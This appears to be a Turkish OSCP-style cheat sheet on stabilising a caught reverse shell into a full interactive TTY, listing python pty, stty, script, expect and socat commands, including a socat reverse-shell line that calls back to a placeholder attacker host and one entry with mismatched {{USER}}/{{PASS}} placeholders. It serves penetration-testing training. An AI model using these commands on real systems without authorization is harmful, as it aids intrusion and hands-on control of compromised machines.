FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE kolay

Linux Shell Stabilizasyonu (TTY Upgrade)

netcat ile yakalanan kaba (dumb) shell'i tam interaktif TTY'ye yükseltme: python pty.spawn, ardından stty raw -echo + fg, script /dev/null, socat tam-TTY ve TERM/satır boyutu ayarları. Tab-completion, Ctrl-C, vi/nano ve sudo için zorunludur.

Bilgi: ÖN KOŞULLAR
  • Yakalanmış bir reverse/bind shell (kaba/dumb)
  • Hedefte python/python3 veya script veya socat bulunması
┌──

Komutlar

python ✓ EXAM-SAFE
python -c 'import pty; pty.spawn("/bin/bash")'
Kaba shell'i PTY'ye sarmalayarak bash başlatır — ilk ve en yaygın stabilizasyon adımı. HackTricks — Full TTY (python pty.spawn)
python3 ✓ EXAM-SAFE
python3 -c 'import pty; pty.spawn("/bin/bash")'
python2 yoksa python3 ile aynı PTY sarmalama. HackTricks — Full TTY (python3 pty.spawn)
stty ✓ EXAM-SAFE
stty raw -echo; fg
LOKAL listener terminalinde çalıştırılır: terminali raw moda alır, echo'yu kapatır ve arka plandaki nc oturumunu öne getirir. Ctrl-Z ile shell'i arkaya aldıktan sonra yazılır. HackTricks — Full TTY (stty raw -echo)
stty ✓ EXAM-SAFE
stty -a
LOKAL terminalde satır/sütun ve mevcut tty ayarlarını gösterir; rows/columns değerlerini uzak shell'e taşımak için okunur. HackTricks — Full TTY (terminal size)
stty ✓ EXAM-SAFE
stty rows {{USER}} cols {{PASS}}
[UNVERIFIED placeholder kullanımı] Uzak shell'de satır/sütun ayarı: gerçek kullanımda 'stty rows <satır> cols <sütun>' yazılır (rakamlar local 'stty -a' çıktısından alınır). vi/less'in bozulmaması için. HackTricks — Full TTY (set rows/cols)
bash ✓ EXAM-SAFE
export TERM=xterm
Uzak shell'de TERM değişkenini ayarlar; clear, vi, less ve renkli çıktıların düzgün render edilmesini sağlar. HackTricks — Full TTY (export TERM)
bash ✓ EXAM-SAFE
export SHELL=/bin/bash
Bazı araçların (su, screen) doğru shell'i kullanması için SHELL değişkenini ayarlar. HackTricks — Full TTY (export SHELL)
script ✓ EXAM-SAFE
script -qc /bin/bash /dev/null
python yoksa 'script' util-linux aracı ile PTY tahsisi; yarı-interaktif shell sağlar. HackTricks — Full TTY (script /dev/null)
script ✓ EXAM-SAFE
/usr/bin/script -qc /bin/bash /dev/null
PATH bozuksa script aracının tam yolla çağrılması. HackTricks — Full TTY (script absolute path)
socat ✓ EXAM-SAFE
socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}
LOKAL: socat tam-TTY listener; karşı uçta socat reverse shell ile job control + clear sorunsuz çalışır, ayrı stabilizasyona gerek kalmaz. HackTricks — Full TTY (socat listener)
socat ✓ EXAM-SAFE
socat TCP:{{LHOST}}:{{LPORT}} EXEC:'bash -li',pty,stderr,setsid,sigint,sane
HEDEF: socat ile tam-TTY reverse shell başlatır; yukarıdaki socat listener ile eşleşir. HackTricks — Full TTY (socat reverse)
python3 ✓ EXAM-SAFE
python3 -c 'import pty,os;os.environ["TERM"]="xterm";pty.spawn("/bin/bash")'
PTY sarmalarken TERM'i de tek komutta ayarlayan birleşik varyant. HackTricks — Full TTY (python pty + TERM)
expect ✓ EXAM-SAFE
expect -c 'spawn /bin/bash; interact'
python/script yoksa expect ile PTY tahsisi (nadiren kurulu ama alternatif). HackTricks — Full TTY (expect)

Neden Stabilizasyon Gerekir

nc/ncat ile yakalanan shell ‘dumb’ bir shell’dir: Ctrl-C tüm oturumu öldürür, tab-completion yoktur, vi/nano/less ekranı bozar, su/sudo çoğu zaman ‘must be run from a terminal’ hatası verir çünkü gerçek bir TTY tahsis edilmemiştir. Tam interaktif TTY için PTY tahsisi şarttır. Bu adımlar tamamen el ile yapıldığından OSCP’de safe.

Klasik Python Yöntemi (Adım Adım)

  1. Uzak shell’de PTY başlat: python3 -c 'import pty; pty.spawn("/bin/bash")'.
  2. Shell’i arkaya al: Ctrl-Z.
  3. LOKAL terminalde terminali raw’a çek ve oturumu öne getir: stty raw -echo; fg (komutlar[]‘da verildi). fg yazdıktan sonra görünmese bile Enter’a bas.
  4. Uzak shell’de ortamı düzelt: export TERM=xterm ve gerekirse export SHELL=/bin/bash.
  5. Satır/sütun hizala: LOKAL stty -a ile rows/cols değerlerini oku, uzakta stty rows <satır> cols <sütun> ile uygula. Bu olmadan less/vi satır kaydırması bozulur.

Alternatif Yollar

  • script: python yoksa script -qc /bin/bash /dev/null ile PTY al; ardından aynı Ctrl-Z -> stty raw -echo; fg döngüsünü uygula.
  • socat tam-TTY: İki uçta socat varsa en temiz çözüm — listener socat file:\tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}ve hedefsocat TCP:{{LHOST}}:{{LPORT}} EXEC:‘bash -li’,pty,…. Bu yöntemde job control ve cleardoğrudan çalışır,stty` oynaması gerekmez.
  • expect: Son çare; nadiren kuruludur.

Gotchas

  • stty raw -echo; fg komutunu mutlaka local (Kali) terminalinde çalıştır; uzak shell’de değil.
  • Stabilizasyon bozulursa (örn. yanlış Ctrl-C) reset veya stty sane ile local terminali kurtar.
  • rlwrap ile başlatılmış listener’da geçmiş/ok tuşları zaten çalışır; yine de tam TTY için stabilizasyon önerilir.
  • tmux içinde çalışıyorsan rows/cols değerlerini tmux pane boyutuna göre ayarla.
┌──

Kaynaklar

0/15 set